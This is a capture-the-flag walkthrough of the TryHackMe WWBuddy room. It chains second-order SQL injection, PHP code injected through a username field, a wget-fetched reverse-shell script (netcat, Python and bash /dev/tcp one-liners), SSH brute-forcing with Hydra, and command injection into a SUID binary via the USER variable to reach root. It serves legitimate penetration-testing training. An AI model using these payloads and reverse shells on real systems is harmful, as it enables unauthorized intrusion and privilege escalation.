15 minute read


Room Link : https://tryhackme.com/room/wwbuddy

WWBuddy is a medium rated TryHackMe room by Termack. Second order SQL injection combined with unsanitized user input and reflection of the unsanitized user input on the PHP file gives us a reverse shell on the box as user www-data. On the box, we get the creds for user roberto in the log files and creds for user jenny was bruteforced using hydra. SUID binary was reversed with ghidra and exploited to get the root shell on the box.

Port Scan

All Port

local@local:~/Documents/tryhackme/wwbuddy$ nmap -p- --min-rate 10000 -oN nmap/allports -v
Nmap scan report for
Host is up (0.33s latency).
Not shown: 63859 closed ports, 1674 filtered ports
22/tcp open  ssh
80/tcp open  http

Detailed Scan

local@local:~/Documents/tryhackme/wwbuddy$ nmap -sC -sV -oN nmap/initial -v
Nmap scan report for
Host is up (0.36s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 66:75:21:b4:93:4a:a5:a7:df:f4:01:80:19:cf:ff:ad (RSA)
|   256 a6:dd:30:3b:e4:96:ba:ab:5f:04:3b:9e:9e:92:b7:c0 (ECDSA)
|_  256 04:22:f0:d2:b0:34:45:d4:e5:4d:ad:a2:7d:cd:00:41 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Login
|_Requested resource was
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov  5 22:17:05 2020 -- 1 IP address (1 host up) scanned in 45.60 seconds

Port 80


It presented us with a login page. I tried few common creds like admin:adminand admin:password.




3 With wwbuddy:wwbuddy, we get a different response. That means there is a user called wwbuddy on the webserver. Using this way we can bruteforce the valid users on the webserver if we have to.

Also the tag on the box has SQLI, so I capture the request using burp and ran it with SQLMap but the SQLMap did not give anything.

Sign Up

As there is an option for signing up, lets sign up. 4 I signed up with admin:password.

Logging in

5 Looking at the homepage,we can say this is an app for chatting with friends and also we can see that wwbuddy is already on our chat list as it might be the bot.

Checking WWBuddy on chat


As I was manually exploring the webapp, I ran a gobuster to find out potential hidden directories and files.

Directory and file brute force

local@local:~/Documents/tryhackme/wwbuddy$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
/images (Status: 301)
/register (Status: 301)
/profile (Status: 301)
/login (Status: 301)
/admin (Status: 301)
/chat.php (Status: 200)
/js (Status: 301)
/api (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200)
/styles (Status: 301)
/change (Status: 301)

Visiting /admin


Looks like we have to admin user to access this directory. I also ran gobuster on this dir but did not get anything.

I tested almost every user input to check whether the webapp was vulnerable to SQL injection but I had no luck. So I started playing with the functionality and different parameters on the webapp.

Edit Info

Parameters on edit info does not seem to be vulnerable to SQL injection but there are no any checks involved with the username parameter. That means we can name our username anything we want, such as admin' or 1=1 -- and if this username parameter is used anywhere on the backend for cetain purpose, we maybe be able to execute the random queries on the MYSQL server.


Change Password


We can change the password for the current user. So, for the backend to know whose password is to be changed, it must use some SQL queries which might involve the username parameter. Well, we don’t know for sure that it involves the username parameter as the developer might also have used parameters like id which might be the primary key on the database. But it is worth a try and if the username parameter is involved while this password changing process, it is highly likely that all of the users password will be changed.


select <something> from <something> where username = 'admin' or 1 = 1 -- -'

Then this will return every user on the database. Then there might be password checks if the entered password is equal to current password, and after the successful password check, the password is updated and while updating the password, password of all users will change.

Changing the password from password to password1


And the password is successfully changed. Lets try to login with user wwbuddy, which is a valid account and also might have list of all the users on the webserver as it is a default friend to all the user’s account.

Loggin with wwbuddy

11 And with wwbuddy:password1, we log in.

Looking at the chat list, we find two new users. ie Henry and Roberto.

Accessing /admin with wwbuddy

12 Even with wwbuddy we can not access /admin.

Loggin with henry


There is an interesting conversation between Henry and Roberto. 14 15 They are talking about the default login credentials for new users which is the birthdate and also talking about a new girl joining their company. So, if we know the username of this girl, and her birth date we could guess her SSH password.

This case might come handy or it might not, but its good to know the default pattern.

Checking the birthdate format on edit info page

17 The birthdate is in the format mm/dd/yyyy.

Checking /admin with user henry


One interesting thing about this page is that the field username which has no input sanitization is directly reflected. So now we can create a username with <?php system('id') ?> and can get code execution on the server.

Changing the username


Accessing /admin with this user

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8'
You dont have permissions to access this file, this incident will be reported.

Accessing /admin with Henry

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0'
Hey Henry, i didn't made the admin functions for this page yet, but at least you can see who's trying to sniff into our site here.<br>
<!--THM{d0nt_***_4n***ng_f**y} -->   2020-07-24 22:54:34   WWBuddy fc18e5f4aa09bbbb7fdedf5e277dda00 <br>   2020-07-24 22:56:09   Roberto b5ea6181006480438019e76f8100249e <br>   2020-11-08 10:37:09   admin 75f1edc5388e8a88a232fd0a0432173f <br>   2020-11-08 11:19:42   WWBuddy fc18e5f4aa09bbbb7fdedf5e277dda00 <br>   2020-11-08 11:29:48     <br>   2020-11-08 11:32:12     <br>   2020-11-08 11:35:16   uid=33(www-data) gid=33(www-data) groups=33(www-data)
 75f1edc5388e8a88a232fd0a0432173f <br>

We get code execution and get our first flag. Using <?php system($_GET['cmd']) ?> gave an error for some reason, so I created a file called shell.sh on my box with reverse shell payload, opened up an http server using python and fetched the file first and executed on the second time as there was a limit on how long the username should be.

Reverse shell as www-data

Content of shell.sh

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 9001 >/tmp/f

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash -i >& /dev/tcp/ 0>&1

Opening up an HTTP Server

local@local:~/Documents/tryhackme/wwbuddy$ sudo python3 -m http.server 80
[sudo] password for local: 
Serving HTTP on port 80 ( ...

Changing the username

Username Used <?php system('wget') ?> 20

Accessing /admin from low priv user for triggering

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8'
You dont have permissions to access this file, this incident will be reported.

Accessing /admin from admin’s account

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0'
.....   2020-11-08 11:35:16   uid=33(www-data) gid=33(www-data) groups=33(www-data)
 75f1edc5388e8a88a232fd0a0432173f <br>   2020-11-08 11:43:51    75f1edc5388e8a88a232fd0a0432173f <br>

And looking at the webserver, we got a hit.

local@local:~/Documents/tryhackme/wwbuddy$ sudo python3 -m http.server 80
[sudo] password for local: 
Serving HTTP on port 80 ( ... - - [08/Nov/2020 17:29:23] "GET /shell.sh HTTP/1.1" 200 -

Changing the name

Now we have to change the name so that we can execute the shell.sh file on the webserver. Name used : <?php system('/bin/bash shell.sh') ?>

Accessing /admin from low priv user

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8'
You dont have permissions to access this file, this incident will be reported.

Listening on our box

local@local:~/Documents/tryhackme/wwbuddy$ nc -nvlp 9001
Listening on 9001

Accessing /admin from admin’s account

local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0'

We don’t get any output here but if we check the netcat listener we get a reverse shell back.

local@local:~/Documents/tryhackme/wwbuddy$ nc -nvlp 9001
Listening on 9001
Connection received on 54588
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Getting a proper TTY

Now lets get a proper shell with auto completion.

$ python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

local@local:~/Documents/tryhackme/wwbuddy$ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

www-data@wwbuddy:/var/www/html/admin$   export TERM=xterm

Privilege Escalation

Users with shell

www-data@wwbuddy:/var/www/html/admin$ cat /etc/passwd | grep -i sh | grep -v sshd

There are 4 users on the box who have a login shell, one being root and other are wwbuddy,jenny and roberto. As jenny is the new member of the company, her password might still be her birthdate but we dont know her birthdate for now.

Reading log files

www-data@wwbuddy:/var/log$ grep -Ri password 2>/dev/null                                                                                                                        mysql/general.log:2020-07-25T14:41:25.299556Z       8 Connect   Access denied for user 'root'@'localhost' (using password: YES)
mysql/general.log:2020-07-25T14:41:25.309467Z       9 Connect   Access denied for user 'root'@'localhost' (using password: YES)                                                 
mysql/general.log:2020-07-25T14:41:25.317916Z      10 Connect   Access denied for user 'root'@'localhost' (using password: NO)                          
mysql/general.log:2020-07-25T15:01:40.143115Z      12 Prepare   SELECT id, username, password FROM users WHERE username = ?                           
mysql/general.log:2020-07-25T15:01:40.143760Z      12 Execute   SELECT id, username, password FROM users WHERE username = 'RobertoyVno*****68wf'                              mysql/general.log:2020-07-25T15:02:00.018975Z      13 Prepare   SELECT id, username, password FROM users WHERE username = ?                                                     
mysql/general.log:2020-07-25T15:02:00.019056Z      13 Execute   SELECT id, username, password FROM users WHERE username = 'Roberto'                                             
installer/installer-journal.txt:Jul 24 19:13:35 ubuntu-server systemd[1]: Started Forward Password Requests to Wall Directory Watch.                                            
installer/installer-journal.txt:Jul 24 19:13:36 ubuntu-server systemd[1]: Started Dispatch Password Requests to Console Directory Watch.                                        
installer/installer-journal.txt:Jul 24 19:19:40 ubuntu-server usermod[13715]: change user 'sshd' password                                                                       installer/installer-journal.txt:Jul 24 19:19:41 ubuntu-server chage[13720]: changed password expiry for sshd

There is a particular entry which looks like username:password combination as user might have mistakenly typed out password on username field.
This info could also be found from result of linpeas as it looks for the potential passwords inside log files.

Trying to login as roberto

www-data@wwbuddy:/var/log$ su roberto
$ id
uid=1001(roberto) gid=1001(roberto) groups=1001(roberto),200(developer)

And we login as roberto.

On Roberto home directory

roberto@wwbuddy:~$ ls -la
total 32
drwx------ 4 roberto roberto 4096 Nov  8 12:06 .
drwxr-xr-x 5 root    root    4096 Jul 28 17:49 ..
-rw------- 1 roberto roberto    0 Jul 28 04:20 .bash_history
-rw-r--r-- 1 roberto roberto  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 roberto roberto 3771 Apr  4  2018 .bashrc
drwx------ 3 roberto roberto 4096 Nov  8 12:06 .gnupg
-rw-rw-r-- 1 roberto roberto  246 Jul 27 21:25 importante.txt
drwxrwxr-x 3 roberto roberto 4096 Jul 27 21:07 .local
-rw-r--r-- 1 roberto roberto  807 Apr  4  2018 .profile

Content of importante.txt

roberto@wwbuddy:~$ cat importante.txt 
A Jenny vai ficar muito feliz quando ela descobrir que foi contratada :DD

Não esquecer que semana que vem ela faz 26 anos, quando ela ver o presente que eu comprei pra ela, talvez ela até anima de ir em um encontro comigo.


We get another flag and some message which seems to be on spanish.


21 Now we know that Jenny is turning 26 next week.

Information of file importante.txt

roberto@wwbuddy:~$ stat importante.txt 
  File: importante.txt
  Size: 246             Blocks: 8          IO Block: 4096   regular file
Device: ca02h/51714d    Inode: 402577      Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1001/ roberto)   Gid: ( 1001/ roberto)
Access: 2020-11-08 12:07:42.220000000 +0000
Modify: 2020-07-27 21:25:48.544379536 +0000
Change: 2020-07-27 21:25:48.544379536 +0000
 Birth: -

The file was created on 2020-07-27. So lets create a wordlist to bruteforce jenny’s password. Earlier the birthday on the webapp was in the format mm/dd/yyyy, so created the wordlist accordingly.

Content of wordlist

local@local:~/Documents/tryhackme/wwbuddy$ cat wordlist 

Using hydra to bruteforce SSH password

local@local:~/Documents/tryhackme/wwbuddy$ hydra -l jenny -P wordlist ssh:// -I
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-08 17:58:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 32 login tries (l:1/p:32), ~2 tries per task
[DATA] attacking ssh://
[22][ssh] host:   login: jenny   password: **/**/199*
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-08 17:58:36

And we get a hit.

Shell as jenny

local@local:~/Documents/tryhackme/wwbuddy$ ssh jenny@
jenny@'s password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Nov  8 12:14:54 UTC 2020

  System load:  0.02              Processes:           111
  Usage of /:   44.1% of 9.78GB   Users logged in:     0
  Memory usage: 77%               IP address for eth0:
  Swap usage:   0%

53 packages can be updated.
0 updates are security updates.


Listing all SUID binaries

jenny@wwbuddy:~$ find / -type f -perm -4000 -ls 2>/dev/null   
       66     40 -rwsr-xr-x   1 root     root        40152 Oct 10  2019 /snap/core/8268/bin/mount
       80     44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /snap/core/8268/bin/ping
       81     44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /snap/core/8268/bin/ping6
       98     40 -rwsr-xr-x   1 root     root        40128 Mar 25  2019 /snap/core/8268/bin/su
      116     27 -rwsr-xr-x   1 root     root        27608 Oct 10  2019 /snap/core/8268/bin/umount
   267949     12 -rwsr-xr-x   1 root     root                8584 Jul 28 03:54 /bin/authenticate   

And I found a non standard binary ie /bin/authenticate.

Executing the binary as jenny

jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ /bin/authenticate 
Group updated
$ id
uid=1002(jenny) gid=200(developer) groups=200(developer),1002(jenny)

What it did was, added jenny to group developer.

Executing the binary as roberto

roberto@wwbuddy:~$ id
uid=1001(roberto) gid=1001(roberto) groups=1001(roberto),200(developer)
roberto@wwbuddy:~$ /bin/authenticate 
roberto developer
You are already a developer.

Since roberto was already in developer group, nothing seems to be happening. Since this is an intersting binary, lets download this on our local box and analayse with ghidra.

Downloading Binary to local box

local@local:~/Documents/tryhackme/wwbuddy$ scp roberto@ authenticate
roberto@'s password: 
authenticate                                                                                                                                  100% 8584    22.8KB/s   00:00    
local@local:~/Documents/tryhackme/wwbuddy$ ls -la authenticate 
-rwxr-xr-x 1 local local 8584 Nov  8 18:06 authenticate

Binary analysis with Ghidra

undefined8 main(void)

  __uid_t __uid;
  int iVar1;
  char *__src;
  long in_FS_OFFSET;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined4 local_20;
  undefined local_1c;
  long local_10;
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __uid = getuid();
  if ((int)__uid < 1000) {
    puts("You need to be a real user to be authenticated.");
  else {
    iVar1 = system("groups | grep developer");
    if (iVar1 == 0) {
      puts("You are already a developer.");
    else {
      __src = getenv("USER");  # USER is obtained from env
      __uid = getuid();
      local_48 = 0x20646f6d72657375; # "usermod "
      local_40 = 0x6c6576656420472d; # "-G devel"
      local_38 = 0x207265706f;       # "oper \x00\x00\x00"
      local_30 = 0;
      local_28 = 0;
      local_20 = 0;
      local_1c = 0;
      strncat((char *)&local_48,__src,0x14); # USER is concatenated
      system((char *)&local_48);             # system call is made
      puts("Group updated");
      system("newgrp developer");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
  return 0;

Looking at code, if the user is already developer, nothing is done. But if the user is not in developer group, value of variable USER is obtained with is user controllable value, which is concatenated and passed to the system call, which means we can execute any command as we want with the root privileges .

Executing commands as root user

jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ export USER=';id;'
jenny@wwbuddy:~$ /bin/authenticate 
Usage: usermod [options] LOGIN

  -c, --comment COMMENT         new value of the GECOS field
  -d, --home HOME_DIR           new home directory for the user account
  -e, --expiredate EXPIRE_DATE  set account expiration date to EXPIRE_DATE
  -f, --inactive INACTIVE       set password inactive after expiration
                                to INACTIVE
  -g, --gid GROUP               force use GROUP as new primary group
  -G, --groups GROUPS           new list of supplementary GROUPS
  -a, --append                  append the user to the supplemental GROUPS
                                mentioned by the -G option without removing
                                him/her from other groups
  -h, --help                    display this help message and exit
  -l, --login NEW_LOGIN         new value of the login name
  -L, --lock                    lock the user account
  -m, --move-home               move contents of the home directory to the
                                new location (use only with -d)
  -o, --non-unique              allow using duplicate (non-unique) UID
  -p, --password PASSWORD       use encrypted password for the new password
  -R, --root CHROOT_DIR         directory to chroot into
  -s, --shell SHELL             new login shell for the user account
  -u, --uid UID                 new UID for the user account
  -U, --unlock                  unlock the user account
  -v, --add-subuids FIRST-LAST  add range of subordinate uids
  -V, --del-subuids FIRST-LAST  remove range of subordinate uids
  -w, --add-subgids FIRST-LAST  add range of subordinate gids
  -W, --del-subgids FIRST-LAST  remove range of subordinate gids
  -Z, --selinux-user SEUSER     new SELinux user mapping for the user account

uid=0(root) gid=1002(jenny) groups=1002(jenny)
Group updated

Here we exported the value of USER to be ;id; where the first ; closes the first usermod command which throws an error and then after id is run which tells us we are root.

Getting a root shell

$ exit
jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ export USER=';chmod 4755 /bin/bash;'
jenny@wwbuddy:~$ /bin/authenticate 
chmod: cannot access '/bin/bas': No such file or directory

Here looks like we have a limitation on the number of letters.

jenny@wwbuddy:~$ export USER=';cp /bin/bash /a;'
jenny@wwbuddy:~$ /bin/authenticate 
Group updated

This time we do not get any error. And if we check if for the file, it exists and own by root.

jenny@wwbuddy:~$ ls -la /a
-rwxr-xr-x 1 root jenny 1113504 Nov  8 12:32 /a

Now lets change the file permission of this file.

jenny@wwbuddy:~$ export USER=';chmod 4755 /a;'
jenny@wwbuddy:~$ /bin/authenticate 

Group updated

Checking the file permission

jenny@wwbuddy:~$ ls -la /a
-rwsr-xr-x 1 root jenny 1113504 Nov  8 12:32 /a

The newly created binary is owned by root and has SUID bit set. The only thing left for us is to execute it.

jenny@wwbuddy:~$ /a -p
a-4.4# id
uid=1002(jenny) gid=1002(jenny) euid=0(root) groups=1002(jenny)

And we are root.

Reading root.txt

a-4.4# cat /root/root.txt